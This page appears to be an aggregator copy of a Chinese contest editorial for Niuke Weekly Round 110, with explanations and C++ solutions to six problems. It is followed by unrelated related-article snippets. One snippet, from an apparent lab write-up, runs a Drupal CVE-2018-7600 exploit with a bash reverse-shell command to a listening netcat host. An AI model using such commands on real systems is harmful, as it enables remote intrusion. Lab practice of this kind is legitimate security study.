牛客周赛 Round 110 题解

news/2025/9/24 17:02:25/文章来源:https://www.cnblogs.com/yumiym765/p/19109550

View Post

牛客周赛 Round 110 题解

牛客周赛 Round 110

A 小苯的数字染色

​ 手玩发现只有 \(n\)\(1\) 不行。

void solve(){int n;cin >> n;if(n == 1){cout << "NO\n";}else{cout << "YES\n";}
}

B 小苯的数组重排

​ 发现无论怎么排序,\([a_2,a_3,\dots ,a_{n-1}]\) 总是计算了两次,只有 \(a_1\)\(a_n\) 计算了一次,我们只需要将最小的值作为 \(a_1\)\(a_n\) 即可。

​ 可以两次循环找最小值和次小值,时间复杂度为 \(O(n)\);也可直接排序寻找,时间复杂度为 \(O(nlogn)\),题目数据可以通过。

void solve(){int n;cin >> n;vector<int> a(n);ll sum = 0;for(int i = 0;i < n;i++){cin >> a[i];sum += 2 * a[i];}sort(a.begin(), a.end());sum -= a[0] + a[1];cout << sum << "\n";
}

C 小苯的麦克斯

​ 如果能只选一个数,那么只选一个最大值一定是最优解,因为此处 \(MAX\) 最大,\(MEX\) 最小。但题目不允许只选一个数字,那我们考虑选择两个数字(如果最大值固定了多一个数字只会使 \(MEX\) 变大),直接模拟找最大值即可,时间复杂度为 \(O(n)\)

tip : 其实答案只会在 \(MAX\) 值附近产生,即在含 \(MAX\) 且长度为 \(2\) 的区间中取得。

void solve(){int n;cin >> n;vector<int> a(n);int ans = -100;for(int i = 0;i < n;i++){cin >> a[i];}for(int i = 0;i < n - 1;i++){int mex = 0;if((a[i] == 0 || a[i + 1] == 0) && mex == 0){mex = 1;}if((a[i] == 1 || a[i + 1] == 1) && mex == 1){mex = 2;}int tmp = max(a[i], a[i + 1]) - mex;ans = max(ans, tmp);}cout << ans << "\n";
}

D 小苯的平衡序列

​ 排完序后选择两边的数字分别做一次模拟即可,时间复杂度为 \(O(nlogn)\),主要来自排序。

tip : 也可排完序后对每一个数字都枚举删除,然后确定中位数,用前缀和 \(O(1)\) 计算平衡度,求最值,这个时间复杂度为 \(O(nlogn)\)

void solve(){int n;cin >> n;vector<int> a(n);for(int i = 0;i < n;i++){cin >> a[i];}sort(a.begin(), a.end());ll ans1 = 0, ans2 = 0;ll med1 = a[n / 2], med2 = a[n / 2 - 1];for(int i = 0;i < n;i++){if(i == 0){ans2 += abs(a[i] - med2);}else if(i == n - 1){ans1 += abs(a[i] - med1);}else{ans1 += abs(a[i] - med1);ans2 += abs(a[i] - med2);}}ll ans = min(ans1, ans2);cout << ans << "\n";
}

E 小苯的数字变换

\(\hspace{15pt}\)小苯在研究一种特殊的数字变换。对于一个正整数 \(x (1 \leq x \leq 10^{1000000}\),保证 \(x\) 不含前导 \(0\)),定义一个数字的"根"为不断将其各位数字相加直到得到个位数。例如:
\(\hspace{15pt}\)\(\hspace{15pt}\)- 根 \((38) = 3+8 = 11 → 1+1 = 2\)
\(\hspace{15pt}\)\(\hspace{15pt}\)- 根 \((999) = 9+9+9 = 27 → 2+7 = 9\)

\(\hspace{15pt}\)现在给定一个数字串 \(x\),请你求出:所有 \(x\) 的连续子区间代表的十进制数字(去掉前导 \(0\) 后)的 "根" 之和。

​ 手玩发现:一个数字的 “根” 可以由两两的“根”求“根” / 一个正整数的数根就是其对 \(9\) 取模的值(特殊的,\(9\) 的倍数的根为 \(9\))。

​ 如: \(7963\) 可以先求 \(79\) 的“根”,为 \(7\),然后 \(7\)\(6\) 继续求“根”,然后 \(4\)\(3\) 继续求“根”。

​ 这就可以 \(dp\) 求解,用前面的数递推下一个数字的结果。

void solve(){string s;cin >> s;int n = s.size();s = " " + s;ll sum = 0;vector<vector<int>> dp(n + 1, vector<int>(10, 0));for(int i = 1;i <= n;i++){dp[i][(s[i] - '0')]++;for(int j = 0;j < 10;j++){int t = (j + (s[i] - '0'));if(t >= 10){t = t % 10 + t / 10;}dp[i][t] += dp[i - 1][j];}for(int j = 0;j < 10;j++){sum += dp[i][j] * j;}}cout << sum << "\n";
}

F 小苯的序列合并

\(\hspace{15pt}\)给定长度为 \(n(1 \leq n \leq 3 \times 10^5)\) 的序列 \(a(0 \leq a_i \leq 10^9)\),你可以对 \(a\) 做如下操作任意次:

$\hspace{23pt}\bullet\ $ 选择一个下标 \(i\ (1 \leqq i < |a|)\),将 \(a_i\)\(a_{i+1}\) 合并起来,结果为 \(a_i\oplus a_{i+1}\)。(其中 \(\oplus\) 表示按位异或运算符,\(|a|\) 表示 \(a\) 当前的长度。)

\(\hspace{15pt}\)所有操作结束后,小苯希望你最大化最终 \(a\) 中所有数字的按位与,即 \(\rm AND(\&)\) 值,请你算一下这个最大值是多少吧。

Trick : 这种 \(a_i\)\(a_{i + 1}\) 做运算的式子,如果满足交换律,如 \(\max,\min,\gcd, \text{lcm},+,\times ,\oplus, \&,|\) 等,都可以看作是将 \(a\) 数组进行划分成多块。

结论 : 一定存在一种划分,且划分的块数小于等于 \(2\),使得其结果最大。

证明 : 如果划分的块数 \(\ge 3\),每 \(3\) 个连续的块可继续合并为 \(1\) 块。那原先 \(3\) 个块的与运算结果一定小于或等于异或运算合并后的结果。因为:

  • 当与运算结果的某一位为 \(1\) 时,要求原先的 \(3\) 个块的该位都为 \(1\),此时异或运算和它是等价的。

  • 当只有 \(1\) 个块的某位为 \(1\) 时,异或运算结果的该位仍然为 \(1\),而与运算结果的该位为 \(0\),此时异或运算结果大于与运算结果。

    【三段合并的异或结果是答案的超集,且两段取与操作也一定是答案的超集】

​ 故对于 \(3\) 个及以上的块,使用异或运算合并它们,一定不会更亏。

​ 我们就可以分段枚举分割点,采用前缀异或预处理得到答案,也可用 \(pre\)\(suf\) 数字滚动处理,时间复杂度为 \(O(n)\)

void solve(){int n;cin >> n;vector<int> a(n);int suf = 0, pre = 0;for(int i = 0;i < n;i++){cin >> a[i];suf ^= a[i];}int ans = suf;for(int i = 0;i < n;i++){pre ^= a[i];suf ^= a[i];ans = max(ans, pre & suf);}cout << ans << "\n";
}

赛时 solve 5 / 6,差一点 pwp,继续加油。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/915986.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

统计机器学习经典分类算法MATLAB实现

一、逻辑回归(Logistic Regression) 核心代码: % 加载数据(以鸢尾花数据集为例) load fisheriris; X = meas(:,1:2); % 选择前两个特征 Y = species;% 数据划分 cv = cvpartition(Y, HoldOut, 0.3); X_train = X(…

从安装到中文界面,一文带你玩转 DaVinci Resolve 20(零基础也能搞定)

软件介绍 DaVinci Resolve Studio v20.0.49是Blackmagic Design推出的专业影视后期制作软件,集成剪辑、调色、视觉特效、动态图形与音频后期功能于一体。该版本新增超100项创新功能,包括基于AI的UltraNR降噪工具、智…

靶场1

进入kali root权限反弹一个shell 攻击机监听: nc -lvnp 10000 目的主机: python3 drupa7-CVE-2018-7600.py http://210.26.72.210/drupal/ -c "bash -c bash -i >& /dev/tcp/210.26.72.230/10000 0>&…

昆明网站建设织梦外国客户网站

首先探讨一下为什么要使用nginx&#xff1a; 1、类似于apacheresin&#xff0c;nginx用于提供静态页面服务&#xff0c;比java服务器要强。虽然这些java服务器的性能都不赖&#xff0c;tomcat新版甚至还支持了epoll&#xff0c;但是用nginx来处理静态文件是一定比这些服务器更…

品牌茶业都在哪些网站做宣传潍坊网站建设方案咨询

事务的四个特征&#xff1a; 原子性 &#xff1a; 是指事务中包含的操作都被看做是一个逻辑单元 一致性&#xff1a; 开始前和结束后数据库都处于一致性状态 隔离性&#xff1a; 对数据库修改的多个事务是彼此隔离的 持久性&#xff1a; 事务完成之后对系统的影响是永久的

299、已凉

299、已凉299、已凉 唐●韩偓 碧阑干外绣帘垂,猩色屏风画折枝。 八尺龙须方锦褥,已凉天气未寒时。【现代诗意译】 翠绿栏杆外 绣帘低垂 猩红屏风 画着折枝花卉龙须八尺长 席上铺着锦绣被褥 天气已经凉了 还未到冷的时…

linux手动安装阿里云Logtail采集Nginx访问日志

这是一篇根据您提供的操作流程编写的技术文档。它详细记录了手动安装和配置Logtail以采集Nginx日志的全过程。技术文档:手动安装阿里云Logtail采集Nginx访问日志1. 文档概述 本文档详细描述了在Linux服务器上通过手动…

WPF的数据绑定之通知修改

1 添加接口 internal class MainViewModel : INotifyPropertyChanged {// 添加通知事件public event PropertyChangedEventHandler? PropertyChanged; }2 在类中添加相关参数事件调用 private string _name; public s…

古代史

P9034 「KDOI-04」Again Counting Set 第三条限制非常强,如果 \(\min \neq 0\),那么其它所有数都必须为 \(1\),也就是集合中的数全是 \(1\),这样,\(\min+\max+\operatorname{mex}=2\),因此集合大小必须为 \(2\)。…

matlab运行时遇到的license问题

遇到的问题如图:解决方法: 在"D:\Program Files\MATLAB\R2018a\bin"目录下创建一个matlabbat.bat ,内容为 matlab.exe -c "D:\Program Files\MATLAB\R2018a\licenses\license_standalone.lic" 然后…

HarmonyOS 5.0+ 安全加密与数据存储最佳实践指南

1 安全加密基础与规范要求 在移动应用开发中,数据安全是保护用户隐私和满足合规要求的基石。等保2.0(GB/T 22239-2019)和金融行业标准(JR/T 0071-2020)对敏感数据的存储与传输提出了明确要求,以下是核心规范要点…

HarmonyOS之设备硬件能力调用:传感器、蓝牙与定位

本文将全面介绍如何在HarmonyOS 5.0+中调用设备硬件能力,包括传感器数据获取、蓝牙设备连接与通信、定位服务使用等核心技术。1. 硬件能力调用概述 HarmonyOS提供了统一的硬件访问框架,允许开发者安全、高效地访问设…

如何网站关键词优化网站设计介绍怎么写

浙江少年儿童出版社出版肖复兴的第二部长篇儿童小说《合欢》&#xff0c;因对儿童独立人格的自觉尊重与强调&#xff0c;以及对人物复杂内心世界的深度开掘与勘探&#xff0c;回应了“儿童的被发现”这一重要课题。《合欢》不仅是作者对“远逝的童年”的一次深情回眸&#xff0…

基于HarmonyOS SDK开放能力的微博社交体验构建实践

在社交领域,微博作为承载广大用户情感连接与信息交流的重要平台,始终致力于探索并构建更具创新性的社交应用,以满足用户日益多元化的社交需求。 应用场景 登录注册 传统的登录注册经常会面临验证流程冗长,密码容易…

web三维

import * as THREE from three; // 修复:引入轨道控制器和字体加载器(关键新增) import { OrbitControls } from three/addons/controls/OrbitControls.js; import { FontLoader } from three/addons/loaders/FontL…

HarmonyOS 多线程编程:Worker 使用与性能优化指南

本文将深入探讨 HarmonyOS 5.0+ 中 Worker 多线程机制的使用方法、性能优化策略和最佳实践,帮助你构建高效、流畅的应用体验。1. Worker 基础概念与核心优势 Worker 是 HarmonyOS 提供的多线程解决方案,允许在独立线…

贝叶斯定理简单解释

贝叶斯定理简单解释举例: 如下图1所示,已知小明到家时带着一只娃娃,请问他更有可能乘坐了公交还是地铁?图1 图2 …

B端界面设计的核心逻辑:效率优先还是体验优先?

B端界面设计的核心逻辑:效率优先还是体验优先?在C端应用中,用户体验往往与“好看、好用”直接挂钩。但在B端界面设计中,情况更为复杂:它需要承载海量数据、复杂业务流程和多角色协作。于是问题出现了:B端界面设计…

搭建网站有哪些表白网站怎样做有创意

p20 首先我们现在有一个多人游戏的系统类MultiplayerSessionsSubsystem 在这个系统内提供了很多会话系统的接口SessionInterface 当现在我们有一些SessionInterfaceDelegates的委托,这个委托的来源是SessionInterface,所以我们使用的委托可以接收到来自SessionInterface的消息(…